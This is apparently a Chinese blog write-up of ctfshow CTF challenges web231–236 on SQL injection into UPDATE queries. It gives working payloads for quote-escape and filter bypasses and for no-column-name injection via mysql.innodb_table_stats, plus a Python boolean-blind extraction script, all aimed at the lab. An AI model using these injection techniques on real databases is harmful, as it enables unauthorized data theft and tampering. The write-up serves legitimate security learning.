目录

  1. 1. 前言
  2. 2. web231
  3. 3. web232
  4. 4. web233(布尔盲注)
  5. 5. web234(\转义)
  6. 6. web235(无列名注入)
    1. 6.1. InnoDb引擎
    2. 6.2. 子查询
    3. 6.3. 题目
  7. 7. web236
↑

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

update注入实战论

2023/8/16 Web Sql ctfshow
  |     |   总文章阅读量:次

前言

ctfshow web231-236


web231

查询语句

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

是update语句,我们可以修改字段名

password=1',username='a'#&username=1

image-20230816115943129

这样的话整个语句就是执行了update ctfshow_user set pass = '1',username='a'#' where username = '1',#后面被注释

所以回到表单页面,username字段会全部改为a,password会改为1

所以我们可以在这里插入联合查询语句来爆出我们需要的信息

表名

password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1

image-20230816120301108

列名

select group_concat(column_name) from information_schema.columns where table_name='flaga'

image-20230816120554679

字段

select group_concat(flagas) from flaga

image-20230816120912795


web232

查询

$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

加了个md5,闭合一下就可以

password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1

image-20230816121503188

password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')#&username=1
password=1'),username=(select group_concat(flagass) from flagaa)#&username=1

web233(布尔盲注)

查询

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

上题的payload打不进去了,说明password处肯定存在过滤

那我们就从username处注入,考虑进行布尔盲注,用已知的用户名ctfshow试试

password=1&username=ctfshow' and if(1=1,1,0)#

image-20230816123127575

成功执行了

那么接下来就是跑脚本了(from boogipop)

import requests

url = 'http://4bddeb37-663a-42ca-86a1-0101f49d73be.challenge.ctf.show/api/?page=1&limit=10'
flag = ''
i = 0
j = 0
while True:
    head = 1
    tail = 127
    i += 1
    while head < tail:
        j += 1
        mid = (head + tail) >> 1
        # payload=f"ctfshow' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
        #banlist,ctfshow_user,flag233333,查询表名
        # payload=f"ctfshow' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{i},1))>{mid},1,0)#"
        #查询字段id,flagass233,info
        payload = f"ctfshow' and if(ascii(substr((select group_concat(id,flagass233,info) from flag233333),{i},1))>{mid},1,0)#"
        #答案
        data = {"username": payload, "password": j}
        r = requests.post(url, data=data)
        if "\\u66f4\\u65b0\\u6210\\u529f" in r.text:  # 更新成功
            head = mid + 1
        else:
            tail = mid
    if head != 1:
        flag += chr(head)
        print(flag)
    else:
        break

web234(\转义)

查询语句没变,但是还是不能拿之前的payload硬打

fuzz字典爆破一下发现'被过滤了

这题需要用到\对password参数后的'进行转义,使其成为字符串中的一部分,然后实际闭合的位置在username的第一个'处

所以password里的内容为1'where username =,我们需要再注入一个,username=然后就能构造我们需要的语句了

image-20230816130316069

于是构造payload

表名

password=1\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

image-20230816131119449

列名

注意由于过滤了单引号,这里可以用双引号来绕过,也可以直接16进制编码为0x666c6167323361绕过

password=1\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name="flag23a")#
password=1\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#

字段

password=1\&username=,username=(select group_concat(flagass23s3) from flag23a)#

看起来上一题也可以这么打


web235(无列名注入)

查询语句不变

过滤了or和'

也就是说information库就用不了了

不过mysql中不只有information库有表格的信息,还有其他的库

参考JohnFrod的博客

InnoDb引擎

从MySQL 5.5.8开始,InnoDB成为其默认存储引擎。而在MySQL 5.6以上的版本中,InnoDb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

在MySQL 5.6版本中,可以使用mysql.innodb_table_stats和mysql.innodb_table_index这两张表来替换information_schema.tables实现注入,但是缺点是没有列名。

select group_concat(database_name) from mysql.innodb_table_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();

image-20230816171433403

实战中需要注意mysql是否使用了InnoDB作为数据库的引擎

查看MySQL支持及默认的存储引擎:

show engines;

子查询

参考Err0r的博客

上面说了这种注入方式是不能得到列名的,也就是说我们要采用别的方式获取列名

在我们不知道列名的情况下,需要通过union来查询,并且要猜测列数

select 1,2,3 union select * from user;

image-20230816172350710

然后可以用数字进一步查询对应列

select `3` from (select 1,2,3 union select * from user)a;

image-20230816173103347

注:每个派生表都要有他的别名,所以我们要在末尾加上一个a之类的能作为别名的字母

注:查询对应列要加反引号,否则会当数字处理全部输出3

如果反引号被过滤,可以用别名代替

select c from (select 1,2 as b,3 as c union select * from user)a;

image-20230816173731643

同时查询多个列(0x2d为-)

select concat(b,0x2d,c) from (select 1,2 as b,3 as c union select * from user)a;

image-20230816173713580


题目

表名

password=1\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database());#

列名(返回的数据有2行,所以要用group_concat)

password=1\&username=,username=(select group_concat(b) from (select 1,2 as b,3 union select * from flag23a1)a);#

image-20230816174030506


web236

过滤or ,',flag

实际测试了下,真的有过滤flag吗,如过?

表名

password=1\&username=,username=(select group_concat(b) from (select 1,2 as b,3 union select * from flag23a1)a);#

列名

password=1\&username=,username=(select group_concat(b) from (select 1,2 as b,3 union select * from flaga)a);#